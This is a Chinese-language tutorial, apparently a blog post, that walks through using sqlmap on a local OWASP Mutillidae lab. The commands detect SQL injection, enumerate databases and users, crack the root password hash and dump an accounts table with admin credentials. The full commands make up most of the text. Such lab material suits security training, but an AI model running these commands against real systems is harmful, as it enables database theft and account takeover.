目录结构

一、判断被测url的参数是否存在注入点
二、获取数据库系统的所有数据库名称(暴库)
三、获取Web应用当前所连接的数据库
四、获取Web应用当前所操作的DBMS用户
五、列出数据库中的所有用户
六、列出数据库中所有账户-对应的密码哈希
七、列出指定数据库中的所有数据表
八、列出指定数据表中的所有字段(列)
九、导出指定数据表中的列字段进行保存
十、根据导出的数据,验证数据有效性

利用SQLMap自动化工具,可判断某个带参数的url是否可被SQL注入,继而获取数据库和服务器的相关敏感数据和信息(如:库、表、列、字段值、数据库和服务器的名称&版本...)。
本文以本地环境搭建的Web漏洞环境(OWASP Mutillidae+phpStudy)进行测试,具体操作流程如下:

Mutillidae漏洞程序

备注说明:因操作系统中同时安装有Python2和Python3的环境,为了区分两个版本,所以在以下sqlmap的操作命令中用python2开头,具体根据各自配置情况决定(常规情况直接用python开头)

一、判断被测url的参数是否存在注入点

python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details"
实际操作可以加上参数--batch,不用每次都提示作选择[Y/N]

 

从以上信息可知:
1)被测url中的username参数存在注入点,可被利用注入的类型有(布尔盲注、报错注入、基于时间的盲注、联合查询注入);
2)以及Web应用程序所采用的服务环境(DBMS、OS、PHP、Apache)的名称和版本号;
3)检测的结果会自动保存到设定的目录下供查看

二、获取数据库系统的所有数据库名称(暴库)

枚举DBMS所有数据库: --dbs

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --dbs

执行结果:检测列出了Mysql数据库管理系统中的6个数据库

三、获取Web应用当前所连接的数据库

检索DBMS当前数据库: --current-db

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-db

执行结果:当前连接的数据库是nowasp

四、获取Web应用当前所操作的DBMS用户

检索DBMS当前用户: --current-user

SQLMap执行命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-user

执行结果:当前操作的用户未root权限的超级用户

五、列出数据库中的所有用户

枚举DBMS所有用户: --users

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --users

执行结果:DBMS中的所有用户都是root权限的超级用户

六、列出数据库中所有账户-对应的密码哈希

枚举DBMS所有用户的密码哈希: --passwords

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --passwords
过程中,需要选择是否执行对密码哈希的解密,利用到SQLMap内置的密码字典进行攻击

执行结果:
root用户的密码哈希是*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,解密之后是root

采用的是mysql5方式加密(http://www.cmd5.com/

 

七、列出指定数据库中的所有数据表

枚举DBMS数据库中的所有表: -D xx库 --tables

参数:
-D 指定数据库名称
--tables 列出所有数据表

首先再查看一下第二步中检测出的所有数据库名称:

 

比如本次选择检测数据库为nowasp,则
SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp --tables

执行结果:检测nowasp数据库,列出了其下的13个表

八、列出指定数据表中的所有字段(列)

枚举DBMS数据库表中的所有列: -D xx库 -T xx表 --columns

参数:
-D 指定数据库名称
-T 指定数据表名称
--columns 列出所有字段(列)

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts --columns

执行结果:检测列出了nowasp数据库->accounts表中的所有7个字段名称及其类型

九、导出指定数据表中的列字段进行保存

导出DBMS数据表项: -D xx库 -T xx表 -C "字段1,字段2,..." --dump

参数:
-D 指定数据库名称
-T 指定数据表名称
-C 指定需要枚举的DBMS数据库表字段
--dump 导出DBMS数据表项

SQLMap操作命令:(导出部分字段)
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts -C "cid,is_admin,username,password" --dump

执行结果:检测列出了指定的字段值

 

若不指定某几个字段的导出,想要导出所有字段值,则可以采用命令如-D nowasp -T accounts --dump

 

导出的结果会自动存储到特定的文件路径下

十、根据导出的数据,验证数据有效性

从刚才导出的字段值中,选取一组username/password:admin---adminpass

 

输入选取的用户名和密码之后,检验账户信息,确实存在此账户,如下:

(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据的更多相关文章

  1. python使用sqlmap API检测SQL注入

    0x00前言: 大家都知道sqlmap是非常强大的sql注入工具,最近发现他有个sqlmap API,上网查了一下.发现这是 sqlmap的微端.(可以叫做sqlmap在线检测sql注入= =) 0x ...

  2. sql脚本来获取数据库中的所有表结构了

    sql脚本来获取数据库中的所有表结构了,代码如下: use AdventureWorks2008 go SELECT (case when a.colorder=1 then d.name else ...

  3. sqlmap检测sql注入漏洞

    sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.它由python语言开发而成,因此运行需要安装python环境. 官网:http://sqlmap.org/ 乌 ...

  4. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  5. 使用 UEditor 编辑器获取数据库中的数据

    在 ThinkPHP 3.2.2 中,使用 UEditor 编辑器获取数据库中保存的数据,可以使用 UEditor 自身提供的方法. 首先在视图模板中实例化编辑器,这是出现编辑器界面的必须的行为: & ...

  6. 用SQLMAP工具进行SQL注入

    1.检查注入点 [注入点需要自己寻找,可以利用一些工具,例如:Acunetix Web Vulnerability scanner (WVS),AppScan等]u表示URL. sqlmap   -  ...

  7. 当From窗体中数据变化时,使用代码获取数据库中的数据然后加入combobox中并且从数据库中取得最后的结果

    private void FormLug_Load(object sender, EventArgs e) { FieldListLug.Clear();//字段清除 DI = double.Pars ...

  8. 根据不同的实体及其ID来获取数据库中的数据

    /// <summary> /// 根据不同的实体和其ID来获取信息 /// </summary> /// <typeparam name="T"&g ...

  9. php页面获取数据库中的数据

    <!DOCTYPE HTML><html>    <head>        <meta charset="utf-8" />   ...

随机推荐

  1. kafka消费者客户端(0.9.0.1API)

    转自:http://orchome.com/203 kafka客户端从kafka集群消费消息(记录).它会透明地处理kafka集群中服务器的故障.它获取集群内数据的分区,也和服务器进行交互,允许消费者 ...

  2. Myeclipse2013 SVN安装方法以及项目上传到svn服务器

    1. 打开 Myeclipse 工具栏下的Help下的Install from Site 2.打开后弹出窗口, 并点击Add标签,如下图: 3.现在是最重要的一步,填写相关信息. 在对话框Name输入 ...

  3. java 垃圾回收总结(可达性分析 引用分类

    java 垃圾回收总结(1)   以前看过很多次关于垃圾回收相关的文章,都只是看过就忘记了,没有好好的整理一下,发现写文章可以强化自己的记忆. java与C,c++有很大的不同就是java语言开发者不 ...

  4. Centos7 系统下怎么更改apache默认网站目录

    当我们在Centos7中配置好Apache时,发现apache默认解析目录是在 /var/www/html,也就是说当访问服务器 IP 或者本地 localhost 时,默认定位到这个目录里的 ind ...

  5. 水课 or not

    很不幸,这学期的毛概老师是个老古董,讲的内容也甚是枯燥和迂腐,个人角度是不太喜欢.然而这也仅仅是站在个人感性的角度,唏嘘一下也就够了.听不下去了,写点东西. 有时候会想,是不是随着自己长大,渐渐地对专 ...

  6. 手把手教您定制化Centos6.x安装界面

    1.获取安装界面代码      挂载image/install.img:mount image/install.img /mnt/5 -o loop      复制挂载后的代码至self_intall ...

  7. mysql 案例~ 分区表

    一 简介:今天来聊聊分区表的概念和维护二分区的优点:  1.提高查询性能:只需要搜索特定分区,而非整张表,提高了查询速度.  2.节约维护时间:单个分区的数据装载,索引重建,备份,维护远远小于整张表的 ...

  8. ArcGIS10.4 Runtime Error R6034

    现在甲方采购的ArcGIS Desktop正版,一般都是较高的版本(10.4或10.4.1),但10.4经常报出C++ Runtime R6034错误. 问题 "Microsoft Visu ...

  9. JFinal的使用

    JFinal 中的Controller Controller是JFinal核心类之一,该类作为MVC模式中的控制器.基于JFinal的Web应用的控制器需要继承该类.Controller是定义Acti ...

  10. Linux C函数库参考手册

    目录 第1章 字符测试函数 isalnum(测试字符是否为英文字母或数字) isalpha(测试字符是否为英文字母) isascii(测试字符是否为ascii码字符) isblank(测试字符是否为空 ...